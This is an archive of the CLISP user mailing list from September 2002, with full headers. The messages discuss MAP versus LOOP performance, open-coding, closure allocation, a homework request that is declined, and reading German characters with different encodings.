Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Stingold wrote: > >replacing > > (map nil #'(lambda (x) (vector-push-extend (char-code > >x) byte-vector)) (subseq input-string start-pos pos)) > >with > > (loop for i from start-pos to pos do > >(vector-push-extend (char-code (aref input-string i)) byte-vector)) > >will save you consing SUBSEQ and LAMBDA. > > I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its > friends? MAPCAR yes, MAP no. MAP works transparently on lists and vectors, which is hard to open-code. > BTW, that argument is not far away from Erik Naggum's old argument > about why CLISP doesn't favour abstraction, which generated quite some > heat. Actually, CLISP favors abstraction much more than some other lisps. E.g. in most lisps it is faster to open-code by hand, while in CLISP it is not. E.g., (list* 1 2 3 4 5) is (probably) faster in CLISP than the equivalent (cons 1 (cons 2 (cons 3 (cons 4 5)))) (which is probably faster, in, say, ACL). A simple way to estimate the speed of a compiled function is to look at it's disassembly. The longer the slower. So if you can use a single built-in function instead of a bunch of simpler built-ins, you probably win. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Whom computers would destroy, they must first drive mad. From kaz@footprints.net Mon Sep 09 12:37:44 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oULv-0003Si-00 for ; Mon, 09 Sep 2002 12:37:43 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17oULj-0006VI-00; Mon, 09 Sep 2002 12:37:31 -0700 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 12:38:04 2002 X-Original-Date: Mon, 9 Sep 2002 12:37:31 -0700 (PDT) On Mon, 9 Sep 2002, Hoehle, Joerg-Cyril wrote: > Date: Mon, 9 Sep 2002 15:08:23 +0200 > From: "Hoehle, Joerg-Cyril" > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] does LOOP cons less than MAP? [was: > VECTOR-PUSH-EXTEND] > > Sam Stingold wrote: > >replacing > > (map nil #'(lambda (x) (vector-push-extend (char-code > >x) byte-vector)) (subseq input-string start-pos pos)) > >with > > (loop for i from start-pos to pos do > >(vector-push-extend (char-code (aref input-string i)) byte-vector)) > >will save you consing SUBSEQ and LAMBDA. > > I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its friends? Even if map's basic loop is open coded, what's going to happen with your lambda expression? You are asking for a map compiler macro which is smart enough to rip apart lambda expressions and inline their body, so that no closure is actually generated? Is it ANSI conforming to write compiler macros for standard Lisp functions? If so, can just use define-compiler-macro to produce alternate code for MAP. Conforming or not, It works in CLISP anyway, so you can do: #+CLISP (define-compiler-macro map (...) ...) > Some believe this is important so programmers remain free to use either > form of looping and programming style they like and are not biased > towards a specific one only for performance reasons. You are free to keep the same syntax and semantics, yet exercise basic self-determination by writing your own compiler macro to translate the form however you want. -- Meta-CVS: directory structure versioning; versioned symbolic links; versioned execute permission; versioned property lists; easy branching and merging and third party code tracking; all implemented over the standard CVS command line client -- http://freshmeat.net/projects/mcvs From kaz@footprints.net Mon Sep 09 12:43:32 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oURX-0005k5-00 for ; Mon, 09 Sep 2002 12:43:31 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17oURW-0006b4-00; Mon, 09 Sep 2002 12:43:30 -0700 From: Kaz Kylheku To: Sam Steingold cc: "Hoehle, Joerg-Cyril" , In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 12:44:02 2002 X-Original-Date: Mon, 9 Sep 2002 12:43:30 -0700 (PDT) On 9 Sep 2002, Sam Steingold wrote: > MAP works transparently on lists and vectors, which is hard to > open-code. Not, I think, if you sacrifice to the gods of bloat. :) Simply generate the code variants for both sequence types, and wrap then in an open-coded switch to dynamically select the appropriate one based on the type of the argument sequence. From sangeeta_madan@rediffmail.com Mon Sep 09 13:12:26 2002 Received: from webmail29.rediffmail.com ([203.199.83.39]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oUtU-0004j6-00 for ; Mon, 09 Sep 2002 13:12:24 -0700 Received: (qmail 4820 invoked by uid 510); 9 Sep 2002 20:11:16 -0000 Message-ID: <20020909201116.4819.qmail@webmail29.rediffmail.com> Received: from unknown (129.107.63.191) by rediffmail.com via HTTP; 09 sep 2002 20:11:16 -0000 MIME-Version: 1.0 From: "Sangeeta Madan" Reply-To: "Sangeeta Madan" To: clisp-list@lists.sourceforge.net Content-type: text/plain; format=flowed Content-Disposition: inline Subject: [clisp-list] help needed in LISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 13:13:03 2002 X-Original-Date: 9 Sep 2002 20:11:16 -0000 Hi, Please help me to solve this problem Create a function (MoveTile state dir) that takes as input a structure representing a state from the Eight Puzzle search space (containing a single configuration represented as a list, the f, g, and h values, and the previous move). If the blank tile can be moved in the desired direction (up, down, left, or right), the function returns a new state with the move executed; otherwise the function returns NIL. Sangeeta From kaz@footprints.net Mon Sep 09 13:58:07 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oVbj-0003AH-00 for ; Mon, 09 Sep 2002 13:58:07 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17oVbh-0007AA-00; Mon, 09 Sep 2002 13:58:05 -0700 From: Kaz Kylheku To: Sangeeta Madan cc: clisp-list@lists.sourceforge.net In-Reply-To: <20020909201116.4819.qmail@webmail29.rediffmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: help needed in LISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 13:59:02 2002 X-Original-Date: Mon, 9 Sep 2002 13:58:05 -0700 (PDT) On 9 Sep 2002, Sangeeta Madan wrote: > Date: 9 Sep 2002 20:11:16 -0000 > From: Sangeeta Madan > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] help needed in LISP > > Hi, > Please help me to solve this problem > > Create a function (MoveTile state dir) that takes as input a Two comments. 1. Before you ask others to help you with your homework, at least show your own attempt at doing it. Otherwise you are simply asking for someone else to earn your grade for you, which is unethical, deplorable behavior. What information are you missing that is preventing you from writing this program? 2. Your homework question is not specific to the CLISP implementation of the Lisp language. You should ask in a Common Lisp programming forum such as the comp.lang.lisp newsgroup. This is a serious list for discussing the CLISP implementation of Common Lisp, one of many. It is not for Lisp homework problems. From mark@junklight.com Mon Sep 09 14:06:50 2002 Received: from manilow.siteprotect.com ([64.26.0.81]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oVk9-0005aE-00 for ; Mon, 09 Sep 2002 14:06:49 -0700 Received: from junklighns3i68 (pc-62-30-87-152-ll.blueyonder.co.uk [62.30.87.152]) by manilow.siteprotect.com (8.9.3/8.9.3) with SMTP id QAA28709; Mon, 9 Sep 2002 16:06:42 -0500 From: "mark" To: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: Importance: Normal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 14:07:03 2002 X-Original-Date: Mon, 9 Sep 2002 22:05:09 +0100 " but I thought CLISP would open-code MAPCAR and its friends?" Ok - a bit a Lisp newbie question here (Ive been programming C++/C for donkeys years though so a complex answers ok :-)). What does open-code mean? cheers mark From samuel.steingold@verizon.net Mon Sep 09 14:12:32 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oVpe-0007h3-00 for ; Mon, 09 Sep 2002 14:12:30 -0700 Received: (cpmta 9584 invoked from network); 9 Sep 2002 14:12:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 9 Sep 2002 14:12:28 -0700 X-Sent: 9 Sep 2002 21:12:28 GMT To: Kaz Kylheku Cc: "Hoehle, Joerg-Cyril" , References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 14:13:04 2002 X-Original-Date: 09 Sep 2002 17:12:26 -0400 > * In message > * On the subject of "Re: " > * Sent on Mon, 9 Sep 2002 12:43:30 -0700 (PDT) > * Honorable Kaz Kylheku writes: > > On 9 Sep 2002, Sam Steingold wrote: > > MAP works transparently on lists and vectors, which is hard to > > open-code. > > Not, I think, if you sacrifice to the gods of bloat. :) Simply > generate the code variants for both sequence types, and wrap then in > an open-coded switch to dynamically select the appropriate one based > on the type of the argument sequence. what if MAP is given 5 arguments? should we generate 32 versions of the code? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The world is coming to an end. Please log off. From samuel.steingold@verizon.net Mon Sep 09 14:16:15 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oVtG-00085o-00 for ; Mon, 09 Sep 2002 14:16:14 -0700 Received: (cpmta 1926 invoked from network); 9 Sep 2002 14:16:12 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 9 Sep 2002 14:16:12 -0700 X-Sent: 9 Sep 2002 21:16:12 GMT To: "mark" Cc: "Hoehle, Joerg-Cyril" , Subject: Re: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 14:17:03 2002 X-Original-Date: 09 Sep 2002 17:16:11 -0400 > * In message > * On the subject of "RE: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND]" > * Sent on Mon, 9 Sep 2002 22:05:09 +0100 > * Honorable "mark" writes: > > " but I thought CLISP would open-code MAPCAR and its friends?" > > What does open-code mean? replacing a funcall to MAPCAR with an explicit loop. i.g. (mapcar (lambda (x) BODY) foo) ==> (dolist (x foo) BODY) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Nostalgia isn't what it used to be. From kaz@footprints.net Mon Sep 09 14:18:52 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oVvo-0008Rr-00 for ; Mon, 09 Sep 2002 14:18:52 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17oVvn-0007O6-00; Mon, 09 Sep 2002 14:18:51 -0700 From: Kaz Kylheku To: mark cc: "Hoehle, Joerg-Cyril" , In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 14:19:03 2002 X-Original-Date: Mon, 9 Sep 2002 14:18:51 -0700 (PDT) On Mon, 9 Sep 2002, mark wrote: > What does open-code mean? It means to put code in place, rather than to defer to a function call. From rrschulz@cris.com Mon Sep 09 15:33:43 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oX6E-0004VB-00 for ; Mon, 09 Sep 2002 15:33:42 -0700 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g89MXac05146 for ; Mon, 9 Sep 2002 18:33:36 -0400 (EDT) Received: from Clemens.cris.com (da003d0140.sjc-ca.osd.concentric.net [64.1.0.141]) by cliff.concentric.net (8.9.1a) id RAA08869; Mon, 9 Sep 2002 17:34:25 -0400 (EDT) Message-Id: <5.1.0.14.2.20020909143017.02b19e98@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: RE: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 15:34:02 2002 X-Original-Date: Mon, 09 Sep 2002 14:35:15 -0700 Mark, A C++ programmer would call it "in-lining." Specifically, it's expanding instructions from a called function at the point of call rather than emitting instructions to simply call that function. It's done for the usual reasons: to trade away the time cost of function invocation (subroutine call) for the space of placing equivalent instructions at the point of call. It also makes possible the compile-time resolution of certain alternatives (value-dependent if / then choices, type discrimination, iteration counts / loop termination conditions, etc.) that must appear in their most general form in the function. Randall Schulz Mountain View, CA USA \At 14:05 2002-09-09, mark wrote: >" but I thought CLISP would open-code MAPCAR and its friends?" > >Ok - a bit a Lisp newbie question here (Ive been programming C++/C for >donkeys years though so a complex answers ok :-)). > >What does open-code mean? > >cheers > >mark From lists@consulting.net.nz Mon Sep 09 20:02:06 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17obHw-0003r6-00 for ; Mon, 09 Sep 2002 20:02:04 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17obHD-0001WZ-00 for ; Tue, 10 Sep 2002 15:01:19 +1200 Subject: Re: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1031627197.1512.51.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 20:03:01 2002 X-Original-Date: 10 Sep 2002 15:06:37 +1200 On Tue, 2002-09-10 at 07:30, Sam Steingold wrote: > > I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its > > friends? > > MAPCAR yes, MAP no. > MAP works transparently on lists and vectors, which is hard to > open-code. > > > BTW, that argument is not far away from Erik Naggum's old argument > > about why CLISP doesn't favour abstraction, which generated quite some > > heat. > > Actually, CLISP favors abstraction much more than some other lisps. > > E.g. in most lisps it is faster to open-code by hand, while in CLISP it > is not. > > E.g., (list* 1 2 3 4 5) is (probably) faster in CLISP than the > equivalent (cons 1 (cons 2 (cons 3 (cons 4 5)))) (which is probably > faster, in, say, ACL). > > A simple way to estimate the speed of a compiled function is to look at > it's disassembly. The longer the slower. So if you can use a single > built-in function instead of a bunch of simpler built-ins, you probably > win. Absolutely. I learned this point quickly (and it's also founded on the common sense that CLISP programs don't compile to native/machine code). Moreover if what you are doing doesn't provide an opportunity to precompile code CLISP appears to provide far better performance than many other implementations (including those of other languages). Until now I didn't realise Hell will freeze over before Erik will use CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-) Thanks for the information about the extra Unicode support Bruno. It's astonishing to see all the developments in just the short time I've been using CLISP. And thanks for the extra advice about optimising using LOOP Sam. Regards, Adam From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 10 05:19:24 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ojzG-00037x-00 for ; Tue, 10 Sep 2002 05:19:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 10 Sep 2002 14:18:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Sep 2002 14:18:58 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTE ND] MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 10 05:20:03 2002 X-Original-Date: Tue, 10 Sep 2002 14:18:53 +0200 Randall R Schulz writes: >A C++ programmer would call it "in-lining." That also exists in Common Lisp: (declare (inline foo bar zot)) >[...] trade away the time cost of function invocation [...] Randall, you omit to mention the (to me in this case) single most important point of optimization between LOOP and MAP: the elimination of a lambda. Given that the lambda in the given form was a closure and could not be resolved to a constant function [*], typical Lisps must allocate a closure object on the heap. In my experience, GC/consing are sisters of time (cf. one of Paul Grahams articles). But maybe I don't have enough experience with modern generational GC. Whereas one more indirection caused by an extra FUNCALL: I learned not to bother anymore. (Advantages outweigh non measurable performance loss). [*] CLISP optimizes away cases where all no free variables in a lambda expression are lexically bound by an outer lexical binding. Some naive Scheme or Lisp compilers (e.g. Oaklisp) don't do this kind of useful optimization and create a new closure on each invocation [**]. E.g. with CLISP, the following two are equivalent: (defun foo (elems list) (let ((helper #'(lambda (x y) (equal x (first y))))) (dolist (e elems nil) (when (funcall helper e list) (return e))))) (let ((helper #'(lambda (x y) (equal x (first y))))) (defun foo2 (elems list) (dolist (e elems nil) (when (funcall helper e list) (return e))))) I.e., the programmer can concentrate on the task at hand and need not do constant-folding him/herself, hoping for better performance. The above functions are much more efficient than the following: (defun bar (elems list) (let ((helper #'(lambda (x y) (equal x (first list)))));list comes from outer env. (dolist (e elems nil) (when (funcall helper e list) (return e))))) which is quite similar to the original poster's (OP) MAP+lambda code. Here a new closure object is created on every call. One of the main differences is the following instruction: 8 (COPY-CLOSURE&PUSH 2 1) ; # as opposed to merely referencing a constant and compiled closure/function. Of course, compilers optimizing even further could notice that the lambda has stack semantics instead of heap semantics. It could indeed be allocated on the stack, causing no extra consing/GC. CLISP doesn't do that at all. performance lesson: sometimes it's better to pass more parameters on to a function, so that it doesn't depend on the lexical environment. My experience: The independent function is more general and exhibits reusable patters. [**] creating a new closure is strictly equivalent to allocating and initializing a new object. This does not in any way require compilation. Feel free to ask for more details if this confuses you. Regards, Jorg Hohle. From jens.himmelreich@hmmh.de Tue Sep 10 08:23:04 2002 Received: from ms.medienhaus-bremen.de ([62.154.252.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17omr2-0004wC-00 for ; Tue, 10 Sep 2002 08:23:04 -0700 Received: from exch-svr.medienhaus-bremen.de (exch-svr.medienhaus-bremen.de [62.154.252.131] (may be forged)) by ms.medienhaus-bremen.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA16934 for ; Tue, 10 Sep 2002 17:24:27 +0200 From: jens.himmelreich@hmmh.de Received: by EXCH-SVR with Internet Mail Service (5.5.2650.21) id ; Tue, 10 Sep 2002 17:23:26 +0200 Message-ID: To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] CLISP an German charcters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 10 08:40:38 2002 X-Original-Date: Tue, 10 Sep 2002 17:23:25 +0200 Hi, I'm using the compiled binary clisp-2.29 on the windows platform. I have a problem with german characters. I don't know how to read a file with '=E4=F6=FC...' and to show the characters on the terminal. I try to start with a -L german.=20 I don't understand the interaction between 'encodings' and my problem. May be this is the solution. best regards jens himmelreich From samuel.steingold@verizon.net Tue Sep 10 10:00:47 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ooNZ-0000gI-00 for ; Tue, 10 Sep 2002 10:00:45 -0700 Received: (cpmta 27113 invoked from network); 10 Sep 2002 10:00:43 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 10 Sep 2002 10:00:43 -0700 X-Sent: 10 Sep 2002 17:00:43 GMT To: jens.himmelreich@hmmh.de Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP an German charcters References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 10 10:01:04 2002 X-Original-Date: 10 Sep 2002 13:00:40 -0400 > * In message > * On the subject of "[clisp-list] CLISP an German charcters" > * Sent on Tue, 10 Sep 2002 17:23:25 +0200 > * Honorable jens.himmelreich@hmmh.de writes: > > I'm using the compiled binary clisp-2.29 on the windows platform. I > have a problem with german characters. I don't know how to read a file > with '=E4=F6=FC...' and to show the characters on the terminal. I try to > start with a -L german. I don't understand the interaction between > 'encodings' and my problem. May be this is the solution. -L specifies the language CLISP uses to talk to you. -E specifies the encoding (character set) it uses to print the messages. what is your specific problem: what do you do? what do you see? what do you expect/want to see? =20=20=20 --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux PI seconds is a nanocentury From jens.himmelreich@hmmh.de Wed Sep 11 00:59:31 2002 Received: from ms.medienhaus-bremen.de ([62.154.252.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17p2PL-0007w1-00 for ; Wed, 11 Sep 2002 00:59:31 -0700 Received: from exch-svr.medienhaus-bremen.de (exch-svr.medienhaus-bremen.de [62.154.252.131] (may be forged)) by ms.medienhaus-bremen.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA28001 for ; Wed, 11 Sep 2002 10:00:55 +0200 From: jens.himmelreich@hmmh.de Received: by EXCH-SVR with Internet Mail Service (5.5.2650.21) id ; Wed, 11 Sep 2002 09:59:58 +0200 Message-ID: To: clisp-list@sourceforge.net Subject: RE: RE: [clisp-list] CLISP an German charcters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 01:00:02 2002 X-Original-Date: Wed, 11 Sep 2002 09:59:57 +0200 Hi, Thanks for your reply. > -----Original Message----- > From: Sam Steingold [mailto:sds@gnu.org] > Sent: Tuesday, September 10, 2002 7:01 PM > To: Jens Himmelreich > Cc: clisp-list@sourceforge.net > Subject: Re: [clisp-list] CLISP an German charcters > [...] > what is your specific problem: > what do you do? I try to explain what I do. I have a function: (defun get-content-from-file (filename) (with-open-file=20 (stream filename) (let ((lines))=20 (do ((line (read-line stream) (read-line stream nil 'eof))) ((eq line 'eof) 'eof) (setq lines (append lines (list (trim line))))) (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) = lines)))) (defun trim (s) "Spaces, Tabs and newlines stripped from the beginning and the end" (string-trim '(#\Space #\Tab #\Newline) s)) and get a text with german chars like this: 'L\204nge'. If I type I get a 'L=E4nge' in this emacs-buffer. With some texts I get an error: *** - Character #\u2022 cannot be represented in the character set CHARSET:CP850 May be it's this character: '\225' Because I see #\u I guess unicode and try the following function: (defun get-content-from-file (filename) (with-open-file=20 (stream filename :external-format (ext:make-encoding :charset = "UTF-8" :input-error-action :ignore)) (let ((lines))=20 (do ((line (read-line stream) (read-line stream nil 'eof))) ((eq line 'eof) 'eof) (setq lines (append lines (list (trim line))))) (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) = lines)))) Now I don't get an error, but I don't get any non-ascii charcter. They are ingnored (I think because :input-error-action :ignore) > what do you see? *** - Character #\u2022 cannot be represented in the character set CHARSET:CP850 or no non-ascii character > what do you expect/want to see? I hope to see the characters like in a normal text-editor It's no problem, if the special (unicode) characters are ignored, but I need the normal german character, the=20 quotation-marks an so on. Could you help me? best regards jens himmelreich From amoroso@mclink.it Wed Sep 11 02:08:23 2002 Received: from mail4.mclink.it ([195.110.128.78] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17p3Tv-0008C5-00 for ; Wed, 11 Sep 2002 02:08:19 -0700 Received: from net145-044.mclink.it (net145-044.mclink.it [195.110.145.44]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g8B95Ql11610 for ; Wed, 11 Sep 2002 11:05:27 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] Organization: Paolo Amoroso - Milan, ITALY Message-ID: 